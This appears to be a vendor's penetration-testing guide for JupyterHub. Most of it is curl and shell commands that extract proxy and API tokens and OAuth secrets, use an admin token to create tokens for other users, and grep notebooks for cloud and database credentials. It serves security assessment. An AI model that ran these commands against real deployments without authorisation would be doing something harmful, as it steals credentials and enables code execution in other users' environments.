JupyterHub Security Testing: Default Credentials, API Key, Database, and Notebook Server

JupyterHub is a multi-user Jupyter notebook server widely deployed in data science teams, research organizations, and universities — notebook servers run as the user and can execute arbitrary Python code with access to all connected data sources. Key assessment areas: CONFIGPROXY_AUTH_TOKEN grants full HTTP proxy admin access; admin API tokens enumerate all users and their active servers; notebook server tokens allow Python code execution; and jupyterhub_config.py exposes OAuth client secrets, database URLs, and cloud credentials. This guide covers systematic JupyterHub security assessment.

Table of Contents

  1. CONFIGPROXY_AUTH_TOKEN and Proxy Admin Access
  2. Admin API Token: User Enumeration and Server Access
  3. Notebook File Credential Exposure and Code Execution
  4. JupyterHub Security Hardening

CONFIGPROXY_AUTH_TOKEN and Proxy Admin Access

# JupyterHub — CONFIGPROXY_AUTH_TOKEN and proxy admin access
JH_URL="https://jupyter.example.com"

# Environment variables (most sensitive)
docker inspect jupyterhub 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['CONFIGPROXY_AUTH_TOKEN', 'JUPYTERHUB_API_TOKEN',
                                  'JUPYTERHUB_SECRET', 'OAUTH_CLIENT', 'DATABASE_URL']):
            print(e)
" 2>/dev/null
# CONFIGPROXY_AUTH_TOKEN=...  <-- configurable HTTP proxy auth token (admin access)
# JUPYTERHUB_API_TOKEN=...    <-- hub API token
# OAUTH_CLIENT_SECRET=...     <-- OAuth provider secret

# jupyterhub_config.py — JupyterHub configuration
cat /etc/jupyterhub/jupyterhub_config.py 2>/dev/null | grep -E "secret|password|token|client|database" | head -20
# c.JupyterHub.proxy_auth_token = '...'  <-- proxy authentication token
# c.GitHubOAuthenticator.client_secret = '...'
# c.GenericOAuthenticator.client_secret = '...'
# c.JupyterHub.db_url = 'postgresql://user:pass@host/db'

# CONFIGPROXY_AUTH_TOKEN — access to the configurable HTTP proxy API
PROXY_TOKEN="extracted-proxy-token"
PROXY_PORT=8001  # default configurable proxy API port

# List all routes proxied by the hub
curl -s "http://localhost:${PROXY_PORT}/api/routes" \
  -H "Authorization: token ${PROXY_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for path, route in d.items():
    print(f'  Route: {path} -> {route.get(\"target\")}')
    # Routes include /user/{username}/ paths for each user server
" 2>/dev/null

Admin API Token: User Enumeration and Server Access

# JupyterHub admin API — user enumeration and server access
JH_URL="https://jupyter.example.com"
ADMIN_TOKEN="your-admin-api-token"

# List all users and their server status
curl -s "${JH_URL}/hub/api/users" \
  -H "Authorization: token ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for u in d:
    server = u.get('server')
    print(f'  {u.get(\"name\")} admin={u.get(\"admin\")} server={server}')
" 2>/dev/null

# Create an API token for any user (admin can create tokens for others)
TARGET_USER="data-scientist"
curl -s -X POST "${JH_URL}/hub/api/users/${TARGET_USER}/tokens" \
  -H "Authorization: token ${ADMIN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"note":"pentest token","expires_in":3600}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User token: {d.get(\"token\")}')
print(f'User: {d.get(\"user\")}')
" 2>/dev/null

# Use user token to access their Jupyter server (execute code)
USER_TOKEN="user-token-from-above"
USER_SERVER="${JH_URL}/user/${TARGET_USER}"

# List kernels on user server
curl -s "${USER_SERVER}/api/kernels" \
  -H "Authorization: token ${USER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for k in d:
    print(f'  Kernel: {k.get(\"id\")} lang={k.get(\"name\")}')
" 2>/dev/null

# Token validation endpoint (can be used to brute-force valid tokens)
curl -s "${JH_URL}/hub/api/authorizations/token/${USER_TOKEN}" \
  -H "Authorization: token ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Valid for: {d.get(\"name\")}')
print(f'Admin: {d.get(\"admin\")}')
" 2>/dev/null

Notebook File Credential Exposure and Code Execution

# JupyterHub notebook files — credential exposure and code execution assessment
JH_URL="https://jupyter.example.com"
USER_TOKEN="user-token"
TARGET_USER="data-scientist"
USER_SERVER="${JH_URL}/user/${TARGET_USER}"

# List notebook files in user's home directory
curl -s "${USER_SERVER}/api/contents/" \
  -H "Authorization: token ${USER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for f in d.get('content',[]):
    print(f'  {f.get(\"name\")} type={f.get(\"type\")} size={f.get(\"size\")}')
" 2>/dev/null

# Read a specific notebook (may contain hardcoded credentials)
NOTEBOOK="data-pipeline.ipynb"
curl -s "${USER_SERVER}/api/contents/${NOTEBOOK}" \
  -H "Authorization: token ${USER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for cell in d.get('content',{}).get('cells',[]):
    src = ''.join(cell.get('source',''))
    if any(s in src.lower() for s in ['password','secret','key','token','aws','gcp']):
        print(f'SENSITIVE in {cell.get(\"cell_type\")} cell:')
        print(src[:200])
" 2>/dev/null
# Notebooks often contain:
# - AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
# - GCP service account JSON keys
# - Database connection strings with passwords
# - API keys for external services (Stripe, Twilio, etc.)

# Check environment variables in notebook kernel (cloud credentials)
# Execute code on user's kernel via WebSocket to read env vars
# This reveals credentials configured in the notebook server environment

JupyterHub Security Hardening

JupyterHub Security Hardening Checklist:
Security TestMethodRisk
CONFIGPROXY_AUTH_TOKEN extraction — proxy admin accessRead jupyterhub_config.py or Docker env — full HTTP proxy control; enumerate all active user server routes; redirect user trafficCritical
Admin API token — create user tokens for arbitrary Python executionPOST /hub/api/users/{user}/tokens with admin token — user token for notebook server access; arbitrary Python code execution in user environmentCritical
Notebook file credential extraction (AWS/GCP/database keys)GET /api/contents/{notebook}.ipynb — notebook source cells with hardcoded AWS_ACCESS_KEY_ID, database passwords, API keys embedded in data pipeline codeHigh
jupyterhub_config.py OAuth client secret extractionRead /etc/jupyterhub/jupyterhub_config.py — OAuth client secret for GitHub/Google/GitLab authenticator; impersonate JupyterHub with OAuth providerHigh
Token validation endpoint token enumerationGET /hub/api/authorizations/token/{token} — brute-force valid token strings; no rate limiting by default; enumerate active user sessionsMedium

Automate JupyterHub Security Testing

Ironimo tests JupyterHub deployments for CONFIGPROXY_AUTH_TOKEN proxy admin access extraction, /hub/api/users admin API token user and server enumeration, notebook file credential scanning for AWS/GCP/database keys, jupyterhub_config.py OAuth client secret exposure, hub.sqlite session and token database extraction, Docker environment variable JUPYTERHUB_API_TOKEN disclosure, /hub/api/authorizations/token/ rate limiting assessment, single-user server token arbitrary Python execution path, proxy API external accessibility testing, and PostgreSQL hub database credential extraction.

Start free scan